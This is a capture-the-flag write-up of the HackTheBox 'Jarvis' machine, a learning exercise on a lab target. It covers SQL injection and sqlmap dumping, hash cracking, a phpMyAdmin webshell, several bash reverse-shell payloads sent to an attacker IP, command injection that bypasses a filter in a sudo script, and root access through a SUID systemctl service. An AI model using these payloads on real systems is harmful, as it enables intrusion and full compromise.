Jarvis
A medium Linux box from HackTheBox, exploit a SQLi to get admin creds to phpmyadmin to upload a webshell and get initial access, then exploit command injection in a script with sudo privileges to elevate to a user and use a SUID enabled systemctl from there to get root.
Recon
Normal nmap
georgy@pop-os:~/Documents/htb/jarvis$ sudo nmap -sC -sV -Pn -oA nmap/init 10.10.10.143
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03f34e22363e3b813079ed4967651667 (RSA)
| 256 25d808a84d6de8d2f8434a2c20c85af6 (ECDSA)
|_ 256 77d4ae1fb0be151ff8cdc8153ac369e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Dont get much information besides that there is port 80 open, start an all port scan in the background and look at the site
georgy@pop-os:~/Documents/htb/jarvis$ sudo nmap -T4 -p- -o nmap/allports 10.10.10.143
End up with a site hotel booking site
Can also see the domain name, supersecurehotel.htb, add it to /etc/hosts
Also find an email in the footer, supersecurehotel@logger.htb
The all-port nmap scan also completed and found another port open, 64999
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
64999/tcp open unknown
Doing another quick scan on it to enumerate the service and find another HTTP server
georgy@pop-os:~/Documents/htb/jarvis$ sudo nmap -sC -sV -p 64999 10.10.10.143
PORT STATE SERVICE VERSION
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
Navigating to it in the browser, an it just says “You have been banned for 90 seconds, dont do anything bad”
Run a wfuzz for subdomains on the HTTP server on 80, but dont find anything
georgy@pop-os:~/Documents/htb/jarvis$ wfuzz -w /opt/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.supersecurehotel.htb" --hh 23628 http://supersecurehotel.htb
Boot up a couple gobusters on both sites and find that the port 80 site has phpmyadmin, navigating to it, view source and see that the version is 4.8.0
# For port 80
georgy@pop-os:~/Documents/htb/jarvis$ gobuster dir -w /opt/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php -t 30 --url http://supersecurehotel.htb
/css (Status: 301) [Size: 326] [--> http://supersecurehotel.htb/css/]
/index.php (Status: 200) [Size: 23628]
/fonts (Status: 301) [Size: 328] [--> http://supersecurehotel.htb/fonts/]
/phpmyadmin (Status: 301) [Size: 333] [--> http://supersecurehotel.htb/phpmyadmin/]
/nav.php (Status: 200) [Size: 1333]
/images (Status: 301) [Size: 329] [--> http://supersecurehotel.htb/images/]
/js (Status: 301) [Size: 325] [--> http://supersecurehotel.htb/js/]
/footer.php (Status: 200) [Size: 2237]
/connection.php (Status: 200) [Size: 0]
/server-status (Status: 403) [Size: 308]
/room.php (Status: 302) [Size: 3024] [--> index.php]
# For port 64999
georgy@pop-os:~/Documents/htb/jarvis$ gobuster dir -w /opt/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php -t 30 --url http://10.10.10.143:64999
/server-status (Status: 403) [Size: 303]
Kind of a dead end, so poke around the site some more and find that the room.php bookings work, can click on a room and it will bring you to another page with a parameter set in the URL bar
http://supersecurehotel.htb/room.php?cod=2
Maybe there is a SQLi here?
Lets try a base case,
http://supersecurehotel.htb/room.php?cod=2 and 1=1
Should return the same room as just cod=2, and it does
Now we can test if there is a SQLi by making the second statement error out, if it returns nothing (because the statement evaluates to false) then there is very likely a SQLi here
http://supersecurehotel.htb/room.php?cod=2 and 1=2
Which returns nothing, IE an error, so we have SQLi!
Exploitation
First, need to find out how many columns the current table has, will use ORDER BY in this case, when we get the n+1 number of columns, the page will not render properly, so we subtract 1 from the current attempt and thats the number of columns we have in the current table
Starting with
http://supersecurehotel.htb/room.php?cod=2 ORDER BY 1
http://supersecurehotel.htb/room.php?cod=2 ORDER BY 2
...
http://supersecurehotel.htb/room.php?cod=2 ORDER BY 8 -> FAILS
Therefore, we have 7 columns in the table
Here I dont want to manually dump a database with a blind boolean injection, so I let sqlmap do it
Capture the request to the injectable URL with burp, and run sqlmap to enumerate DBs
georgy@pop-os:~/Documents/htb/jarvis$ sqlmap -r room.req --risk=3 --dbs
[00:01:22] [INFO] retrieved: 'performance_schema'
available databases [4]:
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema
Lets dump the “mysql” db first, most likely to have creds - got to find table names first
georgy@pop-os:~/Documents/htb/jarvis$ sqlmap -r room.req --risk=3 -D mysql --tables
[30 tables]
+---------------------------+
| user |
| column_stats |
| columns_priv |
| db |
| event |
| func |
| general_log |
| gtid_slave_pos |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| index_stats |
| innodb_index_stats |
| innodb_table_stats |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| roles_mapping |
| servers |
| slow_log |
| table_stats |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+---------------------------+
Lets dump the “user” table
georgy@pop-os:~/Documents/htb/jarvis$ sqlmap -r room.req --risk=3 -D mysql -T user --dump
And inside find a user, DBadmin and their hash, 2d2b7a5e4e637b8fba1d17f40318f277d29964d0 (A MySQL5 hash)
Now cracking the password with hashcat, get the creds - DBadmin:imissyou
georgy@pop-os:~/Documents/htb/jarvis$ hashcat -m 300 hash /opt/seclists/Passwords/Leaked-Databases/rockyou.txt
...
2d2b7a5e4e637b8fba1d17f40318f277d29964d0:imissyou
Now lets go over to the phpmyadmin page and try to login, and get in!
Searching around online, find out that we can upload a PHP webshell using the SQL query box inside of phpmyadmin, link here
Their webshell didnt work, and instead I used this one liner
Inside the query editor it looked like this
Then after the query went through successfully, navigated to the webshell and found that we have code exec!
Now to upgrade to a reverse shell will start a listener on 8888 and send this payload
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.21/8888 0>&1"
# URL encode it so we can send it in browser
%2Fbin%2Fbash%20-c%20%22%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.21%2F8888%200%3E%261%22
And catch a shell!
Connection received on 10.10.10.143 46626
bash: cannot set terminal process group (693): Inappropriate ioctl for device
bash: no job control in this shell
www-data@jarvis:/var/www/html$ whoami
whoami
www-data
www-data@jarvis:/var/www/html$
Immediatedly find a script we can run as the “pepper” user, simpler.py
www-data@jarvis:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
Looking at the file, its a python file that lets you choose one of three options, list stats, ping an IP or analyze some logs - a bit of a command injection hint is shown for the ping command
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
There is a filter, but can bypass it by creating an executable reverse shell first in /tmp
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.21/4444 0>&1
www-data@jarvis:/tmp$ chmod 777 revshell.sh
Start a listener on 4444 on localhost
Then running the script as pepper
www-data@jarvis:/tmp$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
But injecting the command using by including a “$(/tmp./revshell.sh)” in the input
Enter an IP: localhost$(/tmp/./revshell.sh)
And catch the pepper shell!
Connection received on 10.10.10.143 33904
pepper@jarvis:/tmp$ whoami
whoami
pepper
On this new user find that systemctl has SUID privileges, which we can use to escalate privileges
pepper@jarvis:~$ find / -perm -u=s -type f 2>/dev/null
...
/bin/systemctl
...
Following this guide , create the following root.service file and start a listener on 1234
[Unit]
Description=roooooot
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.21/1234 0>&1'
[Install]
WantedBy=multi-user.target
First enable the service
pepper@jarvis:~$ /bin/systemctl enable /home/pepper/root.service
Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /home/pepper/root.service.
Created symlink /etc/systemd/system/root.service -> /home/pepper/root.service.
Then start the service and catch the shell!
pepper@jarvis:~$ /bin/systemctl start root
Connection received on 10.10.10.143 45600
bash: cannot set terminal process group (9307): Inappropriate ioctl for device
bash: no job control in this shell
root@jarvis:/# whoami
whoami
root
root@jarvis:/#